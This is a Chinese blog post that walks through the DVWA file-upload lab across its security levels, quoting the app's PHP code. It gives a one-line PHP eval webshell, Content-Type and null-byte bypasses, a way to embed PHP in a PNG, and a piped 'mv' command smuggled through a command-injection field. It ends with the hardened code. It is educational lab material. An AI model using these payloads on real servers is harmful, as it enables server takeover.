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DVWA-File-Upload.html
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<!DOCTYPE html>
<html lang="zh-CN">
<head>
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<meta name="description" content="前言文件上传漏洞通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限，文件上传漏洞带来的危害常常是毁灭性的。">
<meta property="og:type" content="article">
<meta property="og:title" content="DVWA File Upload">
<meta property="og:url" content="https://leeyuxun.github.io/DVWA-File-Upload.html">
<meta property="og:site_name" content="Leeyuxun の note">
<meta property="og:description" content="前言文件上传漏洞通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限，文件上传漏洞带来的危害常常是毁灭性的。">
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<meta property="article:modified_time" content="2023-05-07T07:37:53.564Z">
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<body itemscope itemtype="http://schema.org/WebPage">
<div class="container use-motion">
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placeholder="搜索..." spellcheck="false"
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<h1 class="post-title" itemprop="name headline">
DVWA File Upload
</h1>
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<span class="post-meta-item-text">发表于</span>
<time title="创建时间：2019-11-20 17:05:00" itemprop="dateCreated datePublished" datetime="2019-11-20T17:05:00+08:00">2019-11-20</time>
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<span class="post-meta-item-text">更新于</span>
<time title="修改时间：2023-05-07 15:37:53" itemprop="dateModified" datetime="2023-05-07T15:37:53+08:00">2023-05-07</time>
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<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>文件上传漏洞通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限，文件上传漏洞带来的危害常常是毁灭性的。<span id="more"></span></p>
<h2 id="文件上传漏洞的利用的条件"><a href="#文件上传漏洞的利用的条件" class="headerlink" title="文件上传漏洞的利用的条件"></a>文件上传漏洞的利用的条件</h2><ol>
<li> 能够成功上传木马文件</li>
<li> 上传文件必须能够被执行</li>
<li> 上传文件的路径必须可知</li>
</ol>
<h1 id="LOW"><a href="#LOW" class="headerlink" title="LOW"></a>LOW</h1><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">'Upload'</span> ] ) ) {</span><br><span class="line"> <span class="comment">// Where are we going to be writing to?</span></span><br><span class="line"> <span class="variable">$target_path</span> = DVWA_WEB_PAGE_TO_ROOT . <span class="string">"hackable/uploads/"</span>;</span><br><span class="line"> <span class="variable">$target_path</span> .= <span class="title function_ invoke__">basename</span>( <span class="variable">$_FILES</span>[ <span class="string">'uploaded'</span> ][ <span class="string">'name'</span> ] );</span><br><span class="line"> <span class="comment">// Can we move the file to the upload folder?</span></span><br><span class="line"> <span class="keyword">if</span>( !<span class="title function_ invoke__">move_uploaded_file</span>( <span class="variable">$_FILES</span>[ <span class="string">'uploaded'</span> ][ <span class="string">'tmp_name'</span> ], <span class="variable">$target_path</span> ) ) {</span><br><span class="line"> <span class="comment">// No</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<pre>Your image was not uploaded.</pre>'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// Yes!</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<pre><span class="subst">{$target_path}</span> succesfully uploaded!</pre>"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"><span class="meta">?></span> </span><br></pre></td></tr></table></figure>
<p>分析：</p>
<p>函数介绍：<br><code>basename()</code>函数返回路径中的文件名部分。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">string</span> <span class="title function_ invoke__">basename</span> ( <span class="keyword">string</span> <span class="variable">$path</span> [, <span class="keyword">string</span> <span class="variable">$suffix</span> ] )</span><br></pre></td></tr></table></figure>
<p>参数介绍：</p>
<table>
<thead>
<tr>
<th>参数</th>
<th>说明</th>
</tr>
</thead>
<tbody><tr>
<td>$path</td>
<td>必需，规定要检查的路径，在Windows中，斜线（/）和反斜线（\）都可以用作目录分隔符。在其它环境下是斜线（/）</td>
</tr>
<tr>
<td>$suffix</td>
<td>可选，规定文件扩展名，如果文件有suffix，则不会输出这个扩展名</td>
</tr>
</tbody></table>
<h2 id="攻击测试"><a href="#攻击测试" class="headerlink" title="攻击测试"></a>攻击测试</h2><p>构造webshell如下：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> @<span class="keyword">eval</span>(<span class="variable">$_POST</span>[<span class="string">'shell'</span>]);<span class="meta">?></span></span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201120211628.png"></p>
<p>使用蚁剑连接后，getshell完成；</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201120212021.png"></p>
<h1 id="MEDIUM"><a href="#MEDIUM" class="headerlink" title="MEDIUM"></a>MEDIUM</h1><h2 id="分析-1"><a href="#分析-1" class="headerlink" title="分析"></a>分析</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">'Upload'</span> ] ) ) {</span><br><span class="line"> <span class="comment">// Where are we going to be writing to?</span></span><br><span class="line"> <span class="variable">$target_path</span> = DVWA_WEB_PAGE_TO_ROOT . <span class="string">"hackable/uploads/"</span>;</span><br><span class="line"> <span class="variable">$target_path</span> .= <span class="title function_ invoke__">basename</span>( <span class="variable">$_FILES</span>[ <span class="string">'uploaded'</span> ][ <span class="string">'name'</span> ] );</span><br><span class="line"> <span class="comment">// File information</span></span><br><span class="line"> <span class="variable">$uploaded_name</span> = <span class="variable">$_FILES</span>[ <span class="string">'uploaded'</span> ][ <span class="string">'name'</span> ];</span><br><span class="line"> <span class="variable">$uploaded_type</span> = <span class="variable">$_FILES</span>[ <span class="string">'uploaded'</span> ][ <span class="string">'type'</span> ];</span><br><span class="line"> <span class="variable">$uploaded_size</span> = <span class="variable">$_FILES</span>[ <span class="string">'uploaded'</span> ][ <span class="string">'size'</span> ];</span><br><span class="line"> <span class="comment">// Is it an image?</span></span><br><span class="line"> <span class="keyword">if</span>( ( <span class="variable">$uploaded_type</span> == <span class="string">"image/jpeg"</span> || <span class="variable">$uploaded_type</span> == <span class="string">"image/png"</span> ) &&</span><br><span class="line"> ( <span class="variable">$uploaded_size</span> < <span class="number">100000</span> ) ) {</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Can we move the file to the upload folder?</span></span><br><span class="line"> <span class="keyword">if</span>( !<span class="title function_ invoke__">move_uploaded_file</span>( <span class="variable">$_FILES</span>[ <span class="string">'uploaded'</span> ][ <span class="string">'tmp_name'</span> ], <span class="variable">$target_path</span> ) ) {</span><br><span class="line"> <span class="comment">// No</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<pre>Your image was not uploaded.</pre>'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// Yes!</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<pre><span class="subst">{$target_path}</span> succesfully uploaded!</pre>"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// Invalid file</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"><span class="meta">?></span> </span><br></pre></td></tr></table></figure>
<p>分析：</p>
<p>Medium的代码对上传文件的类型、大小做了限制，要求文件类型必须是jpeg或者png，大小不能超过 100000B（约为 97.6KB）；</p>
<p>BurpSuite抓包，更改content-type即可；</p>
<h2 id="攻击测试-1"><a href="#攻击测试-1" class="headerlink" title="攻击测试"></a>攻击测试</h2><ol>
<li><p>上传LOW的php文件，显示上传失败；</p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201121151205.png"></p>
</li>
<li><p>BurpSuite抓包，将Content-Type改为image/png，重新发包，文件上传成功，可以使用蚁剑连接；<br> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201121155807.png"></p>
</li>
<li><p>也可以通过**<code>%00</code>截断上传绕过**，</p>
<p> 在php版本小于 <strong>5.3.4</strong> 的服务器中，当<code>magic_quote_gpc=off</code>时，可以在文件名中使用<code>%00</code>截断，可以把上传文件命名为<code>shell.php%00.png</code></p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201121160217.png"></p>
</li>
</ol>
<h1 id="HIGH"><a href="#HIGH" class="headerlink" title="HIGH"></a>HIGH</h1><h2 id="分析-2"><a href="#分析-2" class="headerlink" title="分析"></a>分析</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">'Upload'</span> ] ) ) {</span><br><span class="line"> <span class="comment">// Where are we going to be writing to?</span></span><br><span class="line"> <span class="variable">$target_path</span> = DVWA_WEB_PAGE_TO_ROOT . <span class="string">"hackable/uploads/"</span>;</span><br><span class="line"> <span class="variable">$target_path</span> .= <span class="title function_ invoke__">basename</span>( <span class="variable">$_FILES</span>[ <span class="string">'uploaded'</span> ][ <span class="string">'name'</span> ] );</span><br><span class="line"> <span class="comment">// File information</span></span><br><span class="line"> <span class="variable">$uploaded_name</span> = <span class="variable">$_FILES</span>[ <span class="string">'uploaded'</span> ][ <span class="string">'name'</span> ];</span><br><span class="line"> <span class="variable">$uploaded_ext</span> = <span class="title function_ invoke__">substr</span>( <span class="variable">$uploaded_name</span>, <span class="title function_ invoke__">strrpos</span>( <span class="variable">$uploaded_name</span>, <span class="string">'.'</span> ) + <span class="number">1</span>);</span><br><span class="line"> <span class="variable">$uploaded_size</span> = <span class="variable">$_FILES</span>[ <span class="string">'uploaded'</span> ][ <span class="string">'size'</span> ];</span><br><span class="line"> <span class="variable">$uploaded_tmp</span> = <span class="variable">$_FILES</span>[ <span class="string">'uploaded'</span> ][ <span class="string">'tmp_name'</span> ];</span><br><span class="line"> <span class="comment">// Is it an image?</span></span><br><span class="line"> <span class="keyword">if</span>( ( <span class="title function_ invoke__">strtolower</span>( <span class="variable">$uploaded_ext</span> ) == <span class="string">"jpg"</span> || <span class="title function_ invoke__">strtolower</span>( <span class="variable">$uploaded_ext</span> ) == <span class="string">"jpeg"</span> || <span class="title function_ invoke__">strtolower</span>( <span class="variable">$uploaded_ext</span> ) == <span class="string">"png"</span> ) &&</span><br><span class="line"> ( <span class="variable">$uploaded_size</span> < <span class="number">100000</span> ) &&</span><br><span class="line"> <span class="title function_ invoke__">getimagesize</span>( <span class="variable">$uploaded_tmp</span> ) ) {</span><br><span class="line"> <span class="comment">// Can we move the file to the upload folder?</span></span><br><span class="line"> <span class="keyword">if</span>( !<span class="title function_ invoke__">move_uploaded_file</span>( <span class="variable">$uploaded_tmp</span>, <span class="variable">$target_path</span> ) ) {</span><br><span class="line"> <span class="comment">// No</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<pre>Your image was not uploaded.</pre>'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// Yes!</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<pre><span class="subst">{$target_path}</span> succesfully uploaded!</pre>"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// Invalid file</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"><span class="meta">?></span> </span><br></pre></td></tr></table></figure>
<p>分析：</p>
<ul>
<li><p>strrpos()函数</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">strrpos</span>(<span class="keyword">string</span>,find,start)</span><br></pre></td></tr></table></figure>
<p> 函数返回字符串find在另一字符串string中最后一次出现的位置，如果没有找到字符串则返回false，可选参数start规定在何处开始搜索</p>
</li>
<li><p>strtolower()函数：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">strtolower</span>(<span class="keyword">string</span>)</span><br></pre></td></tr></table></figure>
<p> 把字符串转换为小写</p>
</li>
<li><p>getimagesize()函数</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">getimagesize</span>(<span class="keyword">string</span> filename)</span><br></pre></td></tr></table></figure>
<p> getimagesize()函数用于获取图像大小及相关信息，成功则返回一个数组，失败则返回FALSE并产生一条E_WARNING级的错误信息</p>
</li>
</ul>
<p>限制：</p>
<ul>
<li> 读取文件名中最后一个<code>.</code>后的字符串，通过文件名来限制文件类型因此要求上传文件名形式必须是*.jpg、*.jpeg 、*.png三者之一；</li>
<li> getimagesize()函数限制了上传文件的文件头必须为图像类型；</li>
</ul>
<h2 id="攻击方法"><a href="#攻击方法" class="headerlink" title="攻击方法"></a>攻击方法</h2><p>绕过getimagesize()函数，可以使用如下命令，将php嵌入到图片里面，上传图片</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># linux</span></span><br><span class="line"><span class="built_in">cat</span> shell.php >> shell.png</span><br><span class="line"><span class="comment"># windows</span></span><br><span class="line">copy shell.png/b + shell.php/a new.png</span><br></pre></td></tr></table></figure>
<p>由于是png文件，此时用蚁剑还无法连接，需要借助HIGH级别的文件包含漏洞；</p>
<figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1|mv ../../hackable/uploads/shell.png ../../hackable/uploads/shell.php</span><br></pre></td></tr></table></figure>
<p>再进行蚁剑连接即可；</p>
<h1 id="IMPOSSIBLE"><a href="#IMPOSSIBLE" class="headerlink" title="IMPOSSIBLE"></a>IMPOSSIBLE</h1><h2 id="分析-3"><a href="#分析-3" class="headerlink" title="分析"></a>分析</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"> if( isset( $_POST[ 'Upload' ] ) ) {</span><br><span class="line"> // Check Anti-CSRF token</span><br><span class="line"> checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );</span><br><span class="line"> // File information</span><br><span class="line"> $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];</span><br><span class="line"> $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);</span><br><span class="line"> $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];</span><br><span class="line"> $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];</span><br><span class="line"> $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];</span><br><span class="line"> // Where are we going to be writing to?</span><br><span class="line"> $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';</span><br><span class="line"> //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';</span><br><span class="line"> $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;</span><br><span class="line"> $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );</span><br><span class="line"> $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;</span><br><span class="line"> // Is it an image?</span><br><span class="line"> if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&</span><br><span class="line"> ( $uploaded_size < 100000 ) &&</span><br><span class="line"> ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&</span><br><span class="line"> getimagesize( $uploaded_tmp ) ) {</span><br><span class="line"> // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)</span><br><span class="line"> if( $uploaded_type == 'image/jpeg' ) {</span><br><span class="line"> $img = imagecreatefromjpeg( $uploaded_tmp );</span><br><span class="line"> imagejpeg( $img, $temp_file, 100);</span><br><span class="line"> }</span><br><span class="line"> else {</span><br><span class="line"> $img = imagecreatefrompng( $uploaded_tmp );</span><br><span class="line"> imagepng( $img, $temp_file, 9);</span><br><span class="line"> }</span><br><span class="line"> imagedestroy( $img );</span><br><span class="line"> // Can we move the file to the web root from the temp folder?</span><br><span class="line"> if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {</span><br><span class="line"> // Yes!</span><br><span class="line"> echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";</span><br><span class="line"> }</span><br><span class="line"> else {</span><br><span class="line"> // No</span><br><span class="line"> echo '<pre>Your image was not uploaded.</pre>';</span><br><span class="line"> }</span><br><span class="line"> // Delete any temp files</span><br><span class="line"> if( file_exists( $temp_file ) )</span><br><span class="line"> unlink( $temp_file );</span><br><span class="line"> }</span><br><span class="line"> else {</span><br><span class="line"> // Invalid file</span><br><span class="line"> echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> // Generate Anti-CSRF token</span><br><span class="line"> generateSessionToken();</span><br><span class="line">?> </span><br></pre></td></tr></table></figure>
<p>分析：</p>
<ul>
<li> 使用 <code>imagecreatefromjpeg</code> 或 <code>imagecreatefrompng</code> 去掉了不属于图片的部分；</li>
<li> 将文件重命名为随机字符串；</li>
<li> 增加Anti-Token防止CSRF攻击；</li>
</ul>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20201121164229.png"></p>
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<strong>本文作者： </strong>李钰璕
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<strong>版权声明： </strong>本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/zh-cn" rel="noopener" target="_blank"><i class="fab fa-fw fa-creative-commons"></i>BY-NC-SA</a> 许可协议。转载请注明出处！
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